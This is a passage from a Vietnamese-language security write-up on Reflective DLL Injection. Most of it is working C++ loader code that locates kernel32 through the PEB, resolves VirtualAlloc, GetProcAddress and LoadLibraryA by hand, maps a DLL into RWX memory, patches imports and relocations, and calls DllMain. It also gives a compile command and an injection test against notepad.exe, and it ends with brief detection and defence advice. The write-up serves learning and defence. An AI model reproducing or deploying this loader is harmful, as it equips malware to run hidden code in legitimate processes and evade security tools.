wchar_t* moduleName = module->FullDllName.Buffer;
if (moduleName && moduleName[0] == 'K' && moduleName[1] == 'E' && moduleName[2] == 'R' && moduleName[3] == 'N' &&
moduleName[4] == 'E' && moduleName[5] == 'L' && moduleName[6] == '3' && moduleName[7] == '2' &&
moduleName[8] == '.' && moduleName[9] == 'D' && moduleName[10] == 'L' && moduleName[11] == 'L')
uiModuleBaseKernel32 = (HMODULE)(module->DllBase);
else if (moduleName && moduleName[0] == 'n' && moduleName[1] == 't' && moduleName[2] == 'd' && moduleName[3] == 'l' &&
moduleName[4] == 'l' && moduleName[5] == '.' && moduleName[6] == 'd' && moduleName[7] == 'l' && moduleName[8] == 'l')
uiModuleBaseNtdll = (HMODULE)(module->DllBase);
ptr = ptr->Flink;
}
while (!ptrVirtualAlloc || !ptrGetProcAddress || !ptrLoadLibraryA)
{
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)uiModuleBaseKernel32;
IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)((BYTE*)uiModuleBaseKernel32 + dosHeader->e_lfanew);
IMAGE_EXPORT_DIRECTORY* exportDirectory = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)uiModuleBaseKernel32 +
ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* nameArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNames);
WORD* ordinalArray = (WORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfNameOrdinals);
DWORD* funcArray = (DWORD*)((BYTE*)uiModuleBaseKernel32 + exportDirectory->AddressOfFunctions);
for (DWORD i = 0; i < exportDirectory->NumberOfNames; ++i)
{
char* funcName = (char*)((BYTE*)uiModuleBaseKernel32 + nameArray[i]);
if (!ptrVirtualAlloc && funcName[0] == 'V' && funcName[1] == 'i' && funcName[2] == 'r' && funcName[3] == 't' &&
funcName[4] == 'u' && funcName[5] == 'a' && funcName[6] == 'l' && funcName[7] == 'A' &&
funcName[8] == 'l' && funcName[9] == 'l' && funcName[10] == 'o' && funcName[11] == 'c')
ptrVirtualAlloc = (pVirtualAlloc)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
else if (!ptrGetProcAddress && funcName[0] == 'G' && funcName[1] == 'e' && funcName[2] == 't' && funcName[3] == 'P' && funcName[4] == 'r' && funcName[5] == 'o' && funcName[6] == 'c' && funcName[7] == 'A' && funcName[8] == 'd' && funcName[9] == 'd' && funcName[10] == 'r' && funcName[11] == 'e' && funcName[12] == 's' && funcName[13] == 's')
ptrGetProcAddress = (pGetProcAddress)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
else if (!ptrLoadLibraryA && funcName[0] == 'L' && funcName[1] == 'o' && funcName[2] == 'a' && funcName[3] == 'd' && funcName[4] == 'L' && funcName[5] == 'i' && funcName[6] == 'b' && funcName[7] == 'r' && funcName[8] == 'a' && funcName[9] == 'r' && funcName[10] == 'y' && funcName[11] == 'A')
ptrLoadLibraryA = (pLoadLibraryA)((FARPROC)((BYTE*)uiModuleBaseKernel32 + funcArray[ordinalArray[i]]));
}
}
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiBaseAddress = (ULONG_PTR)ptrVirtualAlloc(
NULL,
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
ULONG_PTR uiSizeOfHeaders = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
ULONG_PTR uiCurPtrToRawDll = uiLibraryAddress;
ULONG_PTR uiNewPtrOfDll = uiBaseAddress;
while (uiSizeOfHeaders--)
*(BYTE*)uiNewPtrOfDll++ = *(BYTE*)uiCurPtrToRawDll++;
uiCurPtrToRawDll = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader +
((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
WORD uiNumberOfSections = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiNumberOfSections--)
{
ULONG_PTR curPtrToVAddOfSection = (uiBaseAddress +
((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->VirtualAddress);
ULONG_PTR sectionRawData = uiLibraryAddress +
((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->PointerToRawData;
ULONG_PTR sizeOfCurSection = ((PIMAGE_SECTION_HEADER)uiCurPtrToRawDll)->SizeOfRawData;
while (sizeOfCurSection--)
{
*(BYTE*)curPtrToVAddOfSection++ = *(BYTE*)sectionRawData++;
}
uiCurPtrToRawDll += sizeof(IMAGE_SECTION_HEADER);
}
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor =
(PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
((PIMAGE_NT_HEADERS)uiHeaderValue)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (pImportDescriptor->Name)
{
HMODULE hModule = ptrLoadLibraryA((LPCSTR)(uiBaseAddress + pImportDescriptor->Name));
PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);
while (pThunk->u1.AddressOfData)
{
PIMAGE_IMPORT_BY_NAME pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunk->u1.AddressOfData);
FARPROC pFunc = ptrGetProcAddress(hModule, (LPCSTR)(pImportByName->Name));
if (pFunc)
{
pThunk->u1.Function = (ULONGLONG)pFunc;
}
pThunk++;
}
pImportDescriptor++;
}
PIMAGE_DATA_DIRECTORY baseRelocAddress =
(PIMAGE_DATA_DIRECTORY) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->
OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (baseRelocAddress->Size)
{
PIMAGE_BASE_RELOCATION vaBaseRelocTable =
(PIMAGE_BASE_RELOCATION)(uiBaseAddress + baseRelocAddress->
VirtualAddress);
while (vaBaseRelocTable->SizeOfBlock)
{
ULONG_PTR vaCurRelocBlock = uiBaseAddress +
vaBaseRelocTable->VirtualAddress;
PIMAGE_RELOC RelocBlock =
(PIMAGE_RELOC)((ULONG_PTR)vaBaseRelocTable +
sizeof(IMAGE_BASE_RELOCATION));
for (DWORD i = 0; i < (vaBaseRelocTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); i++)
{
if (RelocBlock[i].Type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(vaCurRelocBlock + RelocBlock[i].Offset) += uiBaseAddress -
((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
RelocBlock++;
}
vaBaseRelocTable = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)vaBaseRelocTable + vaBaseRelocTable->
SizeOfBlock);
}
}
ULONG_PTR dllMain = uiBaseAddress + ((PIMAGE_NT_HEADERS)
uiHeaderValue)->OptionalHeader.AddressOfEntryPoint;
((DLLMAIN)dllMain)((HINSTANCE)uiBaseAddress,
DLL_PROCESS_ATTACH, NULL);
}
```
* * Để compile thì mở `x64 Native Tools Command Prompt for VS 2022` hoặc `x86 Native Tools Command Prompt for VS 2022` tùy mục đích phiên bản, đến đúng đường dẫn và
`cl /nologo /LD /O2 ReflectiveLoader.cpp /link /OUT:ReflectiveLoader.dll` nhaaa.
## Test thử ...

* Cần thiết thì ta kiểm tra thêm bộ nhớ của **notepad.exe**, có thể dùng **Process Hacker**.

* Ta thấy tại tab **Memory**, có 1 địa chỉ quyền **RWX**, và xem nội dung thử thì ta thấy các dòng rất quen thuộc, đó là **DOS header** và **DOS stub** của **DLL**. Vậy điều đó khẳng định rằng quá trình thực hiện kỹ thuật của chúng ta thành công.
# Phát hiện và phòng chống Reflective DLL Injection
## Dấu hiệu nhận biết
* **DLL không hợp lệ**: Module **DLL** trong tiến trình không có đường dẫn file trên ổ đĩa.
* **Hành vi bất thường**: Tiến trình hợp lệ nhưng có hoạt động lạ (kết nối máy chủ lạ, ghi file, thực thi lệnh).
* **Thiếu sự kiện LoadLibrary/NtMapViewOfSection**: **DLL** xuất hiện nhưng không qua các **API** nạp **DLL** thông thường.
* **Memory scanning**: Tìm code trong vùng nhớ không thuộc module hợp lệ (dùng **Volatility**, **rekall**).
**Thread bất thường**: Xuất hiện `thread` mới được tạo bởi `CreateRemoteThread` hoặc `NtCreateThreadEx`.
## Phòng chống
* **Giảm quyền tiến trình**: Chỉ cấp quyền tối thiểu cần thiết.
* **Dùng AV/EDR mạnh**: Phát hiện dựa trên hành vi thay vì chỉ `signature`.
* **Giám sát API injection**: Theo dõi `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread`, `NtUnmapViewOfSection`.
* **Cấm nạp DLL từ vùng nhớ lạ**: Ngăn tiến trình thực thi mã từ `memory` chưa xác thực.
* **Kiểm tra chữ ký số DLL**: Chỉ cho phép **DLL** hợp lệ, có chứng chỉ.
* **Sandbox/VM**: Phân tích ứng dụng nghi ngờ trong môi trường ảo hóa để quan sát hành vi.
# Tổng kết
* Với wu lần này, mình đã trình bày những tìm hiểu của mình về kỹ thuật **Reflective DLL Injection**, kết hợp so sánh ưu/nhược điểm so với **Classic DLL Injection**, đồng thời demo thử kỹ thuật. Trong lúc tổng hợp wu có thể có những sai sót, các bạn đọc tham khảo có thể góp ý để wu mình hoàn thiện hơn. Tới đây là kết thúc wu rồi, chúc các bạn 1 ngày tốt lành và mong wu này giúp ích cho các bạn!!!
# Refs
https://hackmd.io/@Wh04m1/BynkMpRF3